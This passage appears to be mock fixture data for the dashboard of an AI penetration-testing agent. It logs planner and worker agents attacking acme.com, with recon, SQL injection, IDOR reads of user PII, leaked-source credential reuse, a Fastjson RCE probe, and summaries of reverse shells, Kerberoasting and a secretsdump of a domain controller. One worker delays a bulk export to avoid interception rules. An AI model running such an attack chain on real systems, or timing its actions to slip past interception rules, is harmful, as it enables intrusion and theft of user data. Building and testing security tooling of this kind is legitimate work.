T("2026-07-26T03:20:00Z"), }, { id: "h2", type: "hint", payload: P({ summary: "Attack Jenkins first internally: unauthenticated /script gives direct Groovy RCE" }), priority: 6, state: "consumed", origin: "mainagent", ts: T("2026-07-25T21:20:00Z"), }, { id: "h3", type: "hint", payload: P({ summary: "Spray the DB credentials from the source internally; likely shared" }), priority: 6, state: "consumed", origin: "mainagent", ts: T("2026-07-25T23:10:00Z"), }, ], edges: [ // Root → goal { src: "root", dst: "g1", rel: "spawns" }, { src: "root", dst: "g2", rel: "spawns" }, { src: "root", dst: "g3", rel: "spawns" }, { src: "root", dst: "g4", rel: "spawns" }, // Goal → intent { src: "g1", dst: "i1", rel: "spawns" }, { src: "g1", dst: "i2", rel: "spawns" }, { src: "g1", dst: "i3", rel: "spawns" }, { src: "g2", dst: "i4", rel: "spawns" }, { src: "g2", dst: "i5", rel: "spawns" }, { src: "g2", dst: "ig", rel: "spawns" }, { src: "g3", dst: "i6", rel: "spawns" }, { src: "g3", dst: "i7", rel: "spawns" }, { src: "g3", dst: "i8", rel: "spawns" }, { src: "g4", dst: "i9", rel: "spawns" }, { src: "g4", dst: "i10", rel: "spawns" }, { src: "g4", dst: "i11", rel: "spawns" }, { src: "g4", dst: "i12", rel: "spawns" }, { src: "g4", dst: "i13", rel: "spawns" }, // Intent → fact / finding (yields) { src: "i1", dst: "fa1", rel: "yields" }, { src: "i4", dst: "fa2", rel: "yields" }, { src: "i2", dst: "fi1", rel: "yields" }, { src: "i4", dst: "fi2", rel: "yields" }, { src: "i5", dst: "fi3", rel: "yields" }, { src: "ig", dst: "faGit", rel: "yields" }, { src: "ig", dst: "faCreds", rel: "yields" }, { src: "ig", dst: "fiSrc", rel: "yields" }, { src: "i6", dst: "fa3", rel: "yields" }, { src: "i7", dst: "fa4", rel: "yields" }, { src: "i7", dst: "fiRce", rel: "yields" }, { src: "i8", dst: "fa5", rel: "yields" }, { src: "i8", dst: "fiPriv", rel: "yields" }, { src: "i9", dst: "fa6", rel: "yields" }, { src: "i9", dst: "fa7", rel: "yields" }, { src: "i11", dst: "fa8", rel: "yields" }, { src: "i11", dst: "fa9", rel: "yields" }, { src: "i11", dst: "fiJenkins", rel: "yields" }, { src: "i12", dst: "fa10", rel: "yields" }, { src: "i12", dst: "fiKerb", rel: "yields" }, { src: "i13", dst: "fiDC", rel: "yields" }, // Fact → new intent (fact-driven layering) { src: "fa3", dst: "i7", rel: "derived_from" }, { src: "fa4", dst: "i8", rel: "derived_from" }, { src: "fa4", dst: "i9", rel: "derived_from" }, { src: "faCreds", dst: "i10", rel: "derived_from" }, { src: "fa7", dst: "i11", rel: "derived_from" }, { src: "fa7", dst: "i12", rel: "derived_from" }, { src: "fa9", dst: "i13", rel: "derived_from" }, { src: "fa10", dst: "i13", rel: "derived_from" }, // Hint → intent { src: "h1", dst: "i2", rel: "derived_from" }, { src: "h2", dst: "i11", rel: "derived_from" }, { src: "h3", dst: "i10", rel: "derived_from" }, // Finding → proves the goal is met { src: "fi1", dst: "g1", rel: "proves" }, { src: "fiRce", dst: "g3", rel: "proves" }, { src: "fiDC", dst: "g4", rel: "proves" }, ], }; export const intents: TaskNode[] = explorationGraph.nodes.filter((n) => n.type === "intent"); export const frontier: TaskNode[] = explorationGraph.nodes.filter( (n) => n.type === "intent" && (n.state === "open" || n.state === "running"), ); // ── Activity (execution process)───────────────────────────────────────────────────── // Sessions are derived from "intents" by sessions-tab (session.id = intent.id); transcript = the activity stream matching // the intent_id. planner = worker "planner", main agent = worker "mainagent". // Each worker session contains the full tool execution chain (tool_use → tool_result → …→ result). export const activity: Activity[] = [ // planner — the full decision chain each round: read the situation → pull worker outputs for comparison → judge goals → dispatch direction via add_intent // ── Round 0 · Goal decomposition and the first intents (2026-07-24 09:12) ── { seq: 1000, worker: "planner", ts: T("2026-07-24T09:12:10Z"), kind: "round", summary: "Round 0 · Goal decomposition" }, { seq: 1001, worker: "planner", ts: T("2026-07-24T09:12:25Z"), kind: "thinking", summary: "graph_overview: goals are already decomposed by the goal layer — g1 'Gain admin access to acme.com', g2 'Read user sensitive data', both open; facts=0, recent_facts is empty (the graph is essentially blank, with no worker output yet). Assets in scope are just the root domain acme.com + one /24 segment. Initial attack-surface read: five entries — www / admin / api / shop / vpn. There is no fact in the graph, so I can only do [ultra-light read-only probing] to make the initial intents concrete, and never do the actual work in a plan.", }, { seq: 1002, worker: "planner", ts: T("2026-07-24T09:12:40Z"), kind: "tool_use", tool: "bash", tool_use_id: "p0-probe", summary: "curl -sI https://acme.com; curl -sI https://admin.acme.com", detail: "The opening situation is nearly blank; do ≤3 read-only probes to calibrate the initial intent directions (no enumeration/validation — that is the worker's job).", }, { seq: 1003, worker: "planner", ts: T("2026-07-24T09:12:52Z"), kind: "tool_result", tool: "bash", tool_use_id: "p0-probe", summary: "acme.com → 302 → www; Server: nginx/1.24.0\nadmin.acme.com → 200, X-Powered-By absent, body matches element-ui/vue fingerprints", detail: "admin is a standalone admin login page; the five entries are confirmed valid, so the initial intent descriptions can be made precise.", }, { seq: 1004, worker: "planner", ts: T("2026-07-24T09:13:00Z"), kind: "tool_use", tool: "add_intent", tool_use_id: "p0-ai", summary: "add_intent × 4 (batch-dispatch the first exploration directions)", detail: "intents=[\n { summary: 'Full subdomain enumeration of acme.com + port/service identification of alive hosts to map the attack surface', asset_ids: [acme.com], priority: 6 },\n { summary: 'admin.acme.com admin console default/weak credential testing (Element-UI login, no captcha)', asset_ids: [admin], priority: 9 },\n { summary: 'SQL injection probing of the www.acme.com/search q parameter', asset_ids: [www], priority: 8 },\n { summary: 'api.acme.com order API authorization bypass (IDOR) testing', asset_ids: [api], priority: 8 },\n]\nparent_ids all empty (brand-new top-level directions, fall back to linking the origin fact).", }, { seq: 1005, worker: "planner", ts: T("2026-07-24T09:13:02Z"), kind: "tool_result", tool: "add_intent", tool_use_id: "p0-ai", summary: "4 intents created → ids=[i1, i2, i4, i5], linked into the frontier", detail: "Deliberately keeping the routes diverse: i1 reconnaissance + i2 (g1 credential route) + i4/i5 (g2 data route), two independent mechanisms in parallel to avoid premature convergence.", }, { seq: 1006, worker: "planner", ts: T("2026-07-24T09:13:05Z"), kind: "text", summary: "This round derived the first 4 intents: i1 asset reconnaissance, i2 admin credentials, i4 injection, i5 API authorization bypass. g1 goes through i2 and g2 through i4/i5; both goals have independent entries in progress. Escalate along lineage once workers produce facts.", }, // ── Round 1 · Attack surface escalation (2026-07-25 14:12) ── { seq: 1100, worker: "planner", ts: T("2026-07-25T14:12:00Z"), kind: "round", summary: "Round 1 · Attack surface escalation" }, { seq: 1101, worker: "planner", ts: T("2026-07-25T14:12:15Z"), kind: "thinking", summary: "Comparing recent_facts: workG returned faGit '.git is downloadable; git-dumper recovered the backend source' and faCreds 'config.php hardcodes sa/Acme@2021 (suspected shared internally)'; work#6's fingerprinting returned fa3 'shop matched Fastjson 1.2.24 (known deserialization RCE)'. Two [materially new mechanisms]: (1) the hardcoded DB password may be reused across the internal network; (2) Fastjson has a mature RCE playbook. This opens an entry [essentially different] from the existing credential/injection routes — breaking into the DMZ directly via RCE on shop. Pull faGit details first to verify the artifacts.", }, { seq: 1102, worker: "planner", ts: T("2026-07-25T14:12:28Z"), kind: "tool_use", tool: "node_detail", tool_use_id: "p1-nd", summary: "node_detail(faGit) — verifying workG's source recovery artifacts", detail: "Before add_intent, check what the worker actually recovered, to avoid guessing directions from fingerprints.", }, { seq: 1103, worker: "planner", ts: T("2026-07-25T14:12:35Z"), kind: "tool_result", tool: "node_detail", tool_use_id: "p1-nd", summary: "faGit evidence: git-dumper recovered config.php / db.php / order_api.php; config.php contains $db=['host'=>'10.10.10.5','user'=>'sa','pass'=>'Acme@2021']", detail: "The hardcoding points to the internal 10.10.10.5 (FS01), corroborating faCreds' 'shared internally' inference — the credentials are worth reusing once the RCE lands.", }, { seq: 1104, worker: "planner", ts: T("2026-07-25T14:12:50Z"), kind: "tool_use", tool: "add_intent", tool_use_id: "p1-ai", summary: "add_intent × 2 (Fastjson breakthrough chain; serial steps, dispatch the executable step first)", detail: "intents=[\n { summary: 'Deep-dive shop.acme.com component fingerprinting + precise Fastjson 1.2.24 CVE correlation (confirm the gadget chain)', asset_ids: [shop], parent_ids: [fa3], priority: 7 },\n { summary: 'Build a Fastjson deserialization payload to trigger the shop RCE and obtain a reverse shell', asset_ids: [shop], parent_ids: [fa3], priority: 9 },\n]\nNote: this is a strongly dependent serial chain; TodoWrite already recorded the three steps 'fingerprint → RCE → foothold escalation', and this round dispatches only the first two (escalation depends on the shell output, dispatch next round).", }, { seq: 1105, worker: "planner", ts: T("2026-07-25T14:12:52Z"), kind: "tool_result", tool: "add_intent", tool_use_id: "p1-ai", summary: "2 intents created → ids=[i6, i7], linked into lineage via fa3", }, { seq: 1106, worker: "planner", ts: T("2026-07-25T14:13:00Z"), kind: "text", summary: "Situation escalated: source code + hardcoded internal credentials + Fastjson RCE form a brand-new breakthrough route. The goal layer has been asked to register g3 'Break through the DMZ from the outside and establish an internal foothold', dispatching i6 (fingerprint/CVE correlation) and i7 (trigger the RCE). The DMZ escalation step depends on the shell and is recorded as a todo for the next round.", }, // ── Round 2 · Foothold established, pivoting internal (2026-07-25 20:25) ── { seq: 1200, worker: "planner", ts: T("2026-07-25T20:25:00Z"), kind: "round", summary: "Round 2 · Foothold established, pivoting internal", }, { seq: 1201, worker: "planner", ts: T("2026-07-25T20:25:18Z"), kind: "thinking", summary: "Comparing lineage: i7 returned fa4 'reverse shell www-data@dmz-web01(10.0.20.15), in the DMZ segment'; the escalation chain returned fa5 'sudo -l matched NOPASSWD python3 → escalation to root possible' and fa6 'the foothold's second NIC connects directly to the internal 10.10.10.0/24'. g3's acceptance conditions (break through the DMZ + establish a foothold) are directly satisfied by fa4+fa6. Verify fa6's internal reachability first, then prove_goal.", }, { seq: 1202, worker: "planner", ts: T("2026-07-25T20:25:30Z"), kind: "tool_use", tool: "node_detail", tool_use_id: "p2-nd", summary: "node_detail(fa6) — confirming dual NICs and internal reachability", }, { seq: 1203, worker: "planner", ts: T("2026-07-25T20:25:38Z"), kind: "tool_result", tool: "node_detail", tool_use_id: "p2-nd", summary: "fa6 evidence: ip a → eth0 10.0.20.15 (DMZ) / eth1 10.10.10.15 (internal); ping 10.10.10.10 succeeds, crossing the DMZ boundary confirmed", }, { seq: 1204, worker: "planner", ts: T("2026-07-25T20:25:50Z"), kind: "tool_use", tool: "prove_goal", tool_use_id: "p2-pg", summary: "prove_goal(g3, evidence=fa6)", detail: "reason: i7's RCE gained the DMZ foothold (fa4), fa5 escalated to root, and fa6 proved the second NIC connects directly to the internal network and can ping DC01 — the acceptance for 'Break through the DMZ and establish an internal foothold' is met.", }, { seq: 1205, worker: "planner", ts: T("2026-07-25T20:25:52Z"), kind: "tool_result", tool: "prove_goal", tool_use_id: "p2-pg", summary: "goal g3 → met (evidence fa6 linked); g1/g2/g4 still unmet, the task continues", }, { seq: 1206, worker: "planner", ts: T("2026-07-25T20:26:10Z"), kind: "tool_use", tool: "add_intent", tool_use_id: "p2-ai", summary: "add_intent × 4 (expand internal lateral movement with the foothold as pivot)", detail: "intents=[\n { summary: 'Use dmz-web01 as pivot for host discovery and port identification on the internal 10.10.10.0/24', asset_ids: [dmz-web01], parent_ids: [fa6], priority: 8 },\n { summary: 'Internal lateral movement: reuse the hardcoded password sa/Acme@2021 for credential reuse and password spraying', parent_ids: [faCreds], priority: 8 },\n { summary: 'Unauthenticated /script Groovy execution (RCE) on the internal Jenkins(10.10.10.20)', parent_ids: [fa6], priority: 9 },\n { summary: 'Kerberoast domain service accounts and crack them offline', parent_ids: [fa6], priority: 8 },\n]\nHost discovery is a prerequisite (dispatched first); the other three are parallel lateral exploration dimensions.", }, { seq: 1207, worker: "planner", ts: T("2026-07-25T20:26:12Z"), kind: "tool_result", tool: "add_intent", tool_use_id: "p2-ai", summary: "4 intents created → ids=[i9, i10, i11, i12]", }, { seq: 1208, worker: "planner", ts: T("2026-07-25T20:26:20Z"), kind: "text", summary: "g3 met; the attack surface moves from external to internal. Registered g4 'Move laterally internally and take the internal target domain controller DC01', dispatching i9 (host discovery) + three parallel lateral tracks i10/i11/i12. Credential reuse is anchored directly on faCreds — the password leaked from external source code feeds internal lateral movement.", }, // ── Round 3 · Target-met retrospective (2026-07-26 00:25) ── { seq: 1300, worker: "planner", ts: T("2026-07-26T00:25:00Z"), kind: "round", summary: "Round 3 · Target-met retrospective" }, { seq: 1301, worker: "planner", ts: T("2026-07-26T00:25:16Z"), kind: "thinking", summary: "Comparing this round's worker output: i9→fa7 'alive internally: DC01/FS01/JENKINS'; i11→fa8 'Jenkins /script unauthenticated Groovy' + fa9 'exported the plaintext password of acme\\svc_deploy from the Jenkins credentials store'; i12→fa10 'Kerberoasted the svc_sql TGS, hashcat cracked Sql@2020'. svc_deploy is in Domain Admins; i13 used it to take DC01 with psexec and secretsdump. g4's acceptance (take DC01) should be met — verify the finding evidence chain before stamping it.", }, { seq: 1302, worker: "planner", ts: T("2026-07-26T00:25:30Z"), kind: "tool_use", tool: "list_findings", tool_use_id: "p3-lf", summary: "list_findings — verifying the confirmed evidence of DC01's fall", }, { seq: 1303, worker: "planner", ts: T("2026-07-26T00:25:40Z"), kind: "tool_result", tool: "list_findings", tool_use_id: "p3-lf", summary: "F-09 'Full control of domain controller DC01 / secretsdump exported all domain hashes' critical (evidence: psexec svc_deploy@10.10.10.10 + NTDS.dit dump); the upstream chain fa9→fa10→i13 is complete", }, { seq: 1304, worker: "planner", ts: T("2026-07-26T00:25:52Z"), kind: "tool_use", tool: "prove_goal", tool_use_id: "p3-pg", summary: "prove_goal(g4, evidence=F-09)", detail: "reason: Jenkins leaked svc_deploy (Domain Admin) → psexec controlled DC01 → secretsdump on all domain hashes; F-09 is confirmed and 'Take the internal target domain controller DC01' is met.", }, { seq: 1305, worker: "planner", ts: T("2026-07-26T00:25:54Z"), kind: "tool_result", tool: "prove_goal", tool_use_id: "p3-pg", summary: "goal g4 → met; system hint: g2 is still open, not the last goal, so the task is not fully wrapped up", }, { seq: 1306, worker: "planner", ts: T("2026-07-26T00:26:10Z"), kind: "text", summary: "g4 wrapped up and the external-internal chain is fully connected (external RCE → DMZ → internal → domain controller). Comparing uncovered directions one by one: g2 'Read user sensitive data' still lacks the final step, but the existing i3 (admin user APIs) + i5 (API IDOR) already cover that direction and both are running. No [essentially different uncovered new direction] this round — 0 new intents per the restraint principle; wait for i3/i5 output.", }, // ── Round 4 · Admin goal met, converging on g2 (2026-07-26 03:55) ── { seq: 1400, worker: "planner", ts: T("2026-07-26T03:55:00Z"), kind: "round", summary: "Round 4 · Admin goal met, converging on g2", }, { seq: 1401, worker: "planner", ts: T("2026-07-26T03:55:14Z"), kind: "thinking", summary: "Comparing recent_facts: work#2 used Acme@2021 from faCreds to break into the admin console (i2 done); admin access is in hand — g1's acceptance is met, so prove_goal stamps it first. Then a [quantitative acceptance check]: g2 'Read user sensitive data' currently only has i3/i5 touching the API surface without actually obtaining bulk data; measured as not met, prove_goal is [forbidden] — instead raise priorities and supplement data-retrieval intents.", }, { seq: 1402, worker: "planner", ts: T("2026-07-26T03:55:26Z"), kind: "tool_use", tool: "prove_goal", tool_use_id: "p4-pg", summary: "prove_goal(g1, evidence=fa1)", detail: "reason: i2 used the externally leaked hardcoded password Acme@2021 to log into the admin console (Element-UI) and obtained admin access; g1 is met.", }, { seq: 1403, worker: "planner", ts: T("2026-07-26T03:55:28Z"), kind: "tool_result", tool: "prove_goal", tool_use_id: "p4-pg", summary: "goal g1 → met; remaining unmet: g2", }, { seq: 1404, worker: "planner", ts: T("2026-07-26T03:55:40Z"), kind: "thinking", summary: "g2 quantitative check: the goal's 'Read user sensitive data' = actually obtaining bulk user records. findings in graph_overview has no 'user data exported' entry yet, and i3/i5 are both running with no retrieval results back — measured as not met. Marking met early on 'the console is entered, broadly done' is strictly forbidden; keep dispatching intents to close the gap.", }, { seq: 1405, worker: "planner", ts: T("2026-07-26T03:55:52Z"), kind: "tool_use", tool: "add_intent", tool_use_id: "p4-ai", summary: "add_intent × 2 (converge on g2 data retrieval, raise priority)", detail: "intents=[\n { summary: 'Logged into the admin console; enumerate user management/export APIs and pull user sensitive fields in bulk', asset_ids: [admin], parent_ids: [fa1], priority: 9 },\n { summary: 'api.acme.com order IDOR: iterate order_id to pull user orders/PII in bulk', asset_ids: [api], parent_ids: [fa2], priority: 9 },\n]\nNote: i3/i5 are already running; this round escalates with more precise retrieval descriptions + raised priorities (→9) instead of duplicating synonymous intents.", }, { seq: 1406, worker: "planner", ts: T("2026-07-26T03:55:54Z"), kind: "tool_result", tool: "add_intent", tool_use_id: "p4-ai", summary: "2 intents updated → ids=[i3, i5] (priority raised to 9, descriptions refined to 'bulk data retrieval')", }, { seq: 1407, worker: "planner", ts: T("2026-07-26T03:55:58Z"), kind: "text", summary: "g1 met (3 of 4 already met: g1/g3/g4). g2 strictly follows quantitative acceptance — merely entering the console does not count; bulk user data must be obtained before stamping it; i3/i5 are raised to priority 9 and refined into retrieval intents, and the whole task wraps up once workers report back.", }, // work#1 · i1 subdomain enumeration and port scanning (done) { seq: 10, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:20:00Z"), kind: "thinking", summary: "First passively recon subdomains, then identify ports/services on alive hosts.", }, { seq: 11, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:20:30Z"), kind: "tool_use", tool: "bash", tool_use_id: "t11", summary: "subfinder -d acme.com -silent | httpx -silent -sc -title", }, { seq: 12, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:22:10Z"), kind: "tool_result", tool: "bash", tool_use_id: "t11", summary: "www.acme.com [200] Acme Corp\nadmin.acme.com [200] Acme Admin Login\napi.acme.com [401]\nshop.acme.com [200]\nvpn.acme.com [200]", detail: "5 alive subdomains; admin is the admin login page.", }, { seq: 13, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:23:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t12", summary: "nmap -sV -T4 -p- 203.0.113.10", }, { seq: 14, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:26:40Z"), kind: "tool_result", tool: "bash", tool_use_id: "t12", summary: "22/tcp ssh OpenSSH 8.9p1\n80/tcp http nginx 1.24.0\n443/tcp https nginx 1.24.0", detail: "Ports 22/80/443 open.", }, { seq: 15, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:27:00Z"), kind: "tool_use", tool: "upsert_asset", tool_use_id: "t13", summary: "upsert_asset × 6 (subdomains + services)", }, { seq: 16, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:27:01Z"), kind: "tool_result", tool: "upsert_asset", tool_use_id: "t13", summary: "6 assets upserted", }, { seq: 17, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:40:00Z"), kind: "result", summary: "Asset reconnaissance complete; the admin console admin.acme.com was discovered and handed back to the graph.", input_tokens: 96000, output_tokens: 6100, cache_read_tokens: 61000, cache_write_tokens: 9000, }, // work#2 · i2 admin default credentials (done, proves g1) { seq: 20, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:31:00Z"), kind: "thinking", summary: "The admin console is Element-UI; the login endpoint has no captcha and no rate limit. Try the default credential list first, then dictionaries.", }, { seq: 21, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:32:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t21", summary: "curl -s -d 'username=admin&password=admin' https://admin.acme.com/login -o /dev/null -w '%{http_code}'", }, { seq: 22, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:32:03Z"), kind: "tool_result", tool: "bash", tool_use_id: "t21", summary: "401", detail: "admin/admin failed.", }, { seq: 23, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:32:30Z"), kind: "tool_use", tool: "bash", tool_use_id: "t22", summary: "curl -si -d 'username=admin&password=admin123' https://admin.acme.com/login", }, { seq: 24, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:32:33Z"), kind: "tool_result", tool: "bash", tool_use_id: "t22", summary: "HTTP/1.1 302 Found\nSet-Cookie: session=eyJ…; HttpOnly\nLocation: /dashboard", detail: "admin/admin123 logged in successfully; session cookie obtained.", }, { seq: 25, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:33:10Z"), kind: "tool_use", tool: "bash", tool_use_id: "t23", summary: "curl -s -b 'session=eyJ…' https://admin.acme.com/dashboard | grep -o '[^<]*'", }, { seq: 26, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:33:12Z"), kind: "tool_result", tool: "bash", tool_use_id: "t23", summary: "<title>Acme Admin · Console", detail: "Confirmed inside the admin console.", }, { seq: 27, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:34:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t24", summary: "report_finding(Default Credentials, high)", }, { seq: 28, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:34:01Z"), kind: "tool_result", tool: "report_finding", tool_use_id: "t24", summary: "finding f-6 recorded and linked to goal g1 (proves)", }, { seq: 29, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:50:00Z"), kind: "result", summary: "Admin default credentials confirmed; goal (1) met.", input_tokens: 72000, output_tokens: 4800, cache_read_tokens: 48000, cache_write_tokens: 7200, }, // work#4 · i4 SQL injection (done) { seq: 40, worker: "work#4", intent_id: "i4", ts: T("2026-07-25T22:01:00Z"), kind: "thinking", summary: "The search?q= result page concatenates q into the title; add a single quote manually first to see the error.", }, { seq: 41, worker: "work#4", intent_id: "i4", ts: T("2026-07-25T22:02:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t41", summary: "curl -s \"https://www.acme.com/search?q=1'\" | grep -i 'sql\\|syntax'", }, { seq: 42, worker: "work#4", intent_id: "i4", ts: T("2026-07-25T22:02:04Z"), kind: "tool_result", tool: "bash", tool_use_id: "t41", summary: "Unclosed quotation mark ... near '1'.", detail: "Signs of MSSQL error-based injection.", }, { seq: 43, worker: "work#4", intent_id: "i4", ts: T("2026-07-25T22:03:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t42", summary: "sqlmap -u 'https://www.acme.com/search?q=1' --batch --dbs --level 2", }, { seq: 44, worker: "work#4", intent_id: "i4", ts: T("2026-07-26T01:18:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t42", summary: "Parameter: q (GET) — error-based, MSSQL\navailable databases [4]: acme_prod, information_schema, master, tempdb", detail: "Injection confirmed; 4 databases enumerated.", }, { seq: 45, worker: "work#4", intent_id: "i4", ts: T("2026-07-26T01:19:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t43", summary: "report_finding(SQL Injection, high)", }, { seq: 46, worker: "work#4", intent_id: "i4", ts: T("2026-07-26T01:19:01Z"), kind: "tool_result", tool: "report_finding", tool_use_id: "t43", summary: "finding f-1 recorded", }, { seq: 47, worker: "work#4", intent_id: "i4", ts: T("2026-07-26T01:20:00Z"), kind: "result", summary: "SQL injection confirmed.", input_tokens: 118000, output_tokens: 7400, cache_read_tokens: 82000, cache_write_tokens: 11000, }, // work#5 · i5 IDOR (running) { seq: 50, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:31:00Z"), kind: "thinking", summary: "/v1/orders?id= is a numeric auto-increment id, a typical IDOR surface. Fetch your own order first, then change the id to see if others' can be read.", }, { seq: 51, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:40:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t51", summary: "curl -s -H 'Authorization: Bearer <self>' https://api.acme.com/v1/orders?id=1001", }, { seq: 52, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:40:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t51", summary: '{ "order_id":1001, "user_id":42, "amount":299 }', detail: "My own order, as normal.", }, { seq: 53, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:43:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t52", summary: "curl -s -H 'Authorization: Bearer <self>' https://api.acme.com/v1/orders?id=1002", }, { seq: 54, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:43:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t52", summary: '{ "order_id":1002, "user_id":77, "amount":1299, "phone":"138****6021", "address":"Chaoyang, Beijing ****" }', detail: "Read another user's order without authorization (including phone/address); no ownership check.", }, { seq: 55, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:44:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t53", summary: "report_finding(IDOR, high)", }, { seq: 56, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:44:01Z"), kind: "tool_result", tool: "report_finding", tool_use_id: "t53", summary: "finding f-2 recorded", }, { seq: 57, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T03:58:10Z"), kind: "thinking", summary: "Iterating the id range in bulk to size the unauthorized data exposure (not exporting yet, to avoid triggering interception rules).", }, // work#3 · i3 admin user API enumeration (running) { seq: 60, worker: "work#3", intent_id: "i3", ts: T("2026-07-26T03:56:00Z"), kind: "thinking", summary: "With an admin session in hand, enumerate management APIs to find an entry that can bulk-export user sensitive data (goal 2).", }, { seq: 61, worker: "work#3", intent_id: "i3", ts: T("2026-07-26T03:57:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t61", summary: "curl -s -b 'session=eyJ…' https://admin.acme.com/api/users?page=1", }, { seq: 62, worker: "work#3", intent_id: "i3", ts: T("2026-07-26T03:57:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t61", summary: '{ "total": 12840, "items": [ { "id":1, "email":"a***@acme.com", "phone":"139****" } ] }', detail: "The management API returns all users with pagination (including email/phone), about 12.8k rows.", }, { seq: 63, worker: "work#3", intent_id: "i3", ts: T("2026-07-26T03:58:20Z"), kind: "thinking", summary: "A bulk user data read entry is confirmed; the export action hit destructive/exfiltration rules and an interception approval has been submitted awaiting an allow decision.", }, // workG · ig .git source leak and hardcoded credentials (done) { seq: 310, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:26:00Z"), kind: "thinking", summary: "robots.txt mentions /.git; probe whether the directory is downloadable first — with the source, injection points and hardcoded keys can be found white-box.", }, { seq: 311, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:27:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "tg1", summary: "curl -s -o /dev/null -w '%{http_code}' https://www.acme.com/.git/HEAD", }, { seq: 312, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:27:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "tg1", summary: "200", detail: "The .git directory is externally accessible.", }, { seq: 313, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:28:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "tg2", summary: "git-dumper https://www.acme.com/.git/ /tmp/acme && git -C /tmp/acme log --oneline | head", }, { seq: 314, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:30:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "tg2", summary: "214 files recovered; HEAD=main. config.php / db.php are among them.", detail: "The full backend source was recovered to /tmp/acme.", }, { seq: 315, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:34:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "tg3", summary: "grep -rniE 'password|pwd|secret|Data Source' /tmp/acme/config.php", }, { seq: 316, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:34:03Z"), kind: "tool_result", tool: "bash", tool_use_id: "tg3", summary: "$db_user='sa'; $db_pass='Acme@2021'; $db_host='10.10.10.30';", detail: "A hardcoded database password, with the host pointing to an internal IP — recorded as a suspected internally shared credential.", }, { seq: 317, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:36:00Z"), kind: "result", summary: "Source leak + hardcoded DB credentials confirmed; credentials entered the graph for later internal reuse.", input_tokens: 88000, output_tokens: 5200, cache_read_tokens: 60000, cache_write_tokens: 8000, }, // work#6 · i6 shop fingerprinting and CVE correlation (done) { seq: 320, worker: "work#6", intent_id: "i6", ts: T("2026-07-25T14:22:00Z"), kind: "thinking", summary: "shop.acme.com is an in-house e-commerce site; fingerprint the framework/component versions first, then target components with known deserialization issues.", }, { seq: 321, worker: "work#6", intent_id: "i6", ts: T("2026-07-25T14:24:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t6a", summary: "curl -si https://shop.acme.com/ | grep -iE 'x-powered-by|server|jsessionid'", }, { seq: 322, worker: "work#6", intent_id: "i6", ts: T("2026-07-25T14:24:03Z"), kind: "tool_result", tool: "bash", tool_use_id: "t6a", summary: "X-Powered-By: Servlet\nSet-Cookie: JSESSIONID=...", detail: "Java stack; /api/import exists and accepts a JSON body.", }, { seq: 323, worker: "work#6", intent_id: "i6", ts: T("2026-07-25T14:30:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t6b", summary: 'curl -s -H \'Content-Type: application/json\' -d \'{"a":{"@type":"java.lang.AutoCloseable"}}\' https://shop.acme.com/api/import', }, { seq: 324, worker: "work#6", intent_id: "i6", ts: T("2026-07-25T14:31:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t6b", summary: "The error stack contains com.alibaba.fastjson.JSONException (1.2.24)", detail: "Fastjson 1.2.24 confirmed — matching the JdbcRowSetImpl JNDI injection RCE.", }, { seq: 325, worker: "work#6", intent_id: "i6", ts: T("2026-07-25T14:40:00Z"), kind: "result", summary: "Fingerprint matched Fastjson 1.2.24; the deserialization RCE surface is established and handed to the exploitation intent.", input_tokens: 64000, output_tokens: 4100, cache_read_tokens: 42000, cache_write_tokens: 6000, }, // work#7 · i7 deserialization RCE for a reverse shell (done, proves g3) { seq: 330, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:12:00Z"), kind: "thinking", 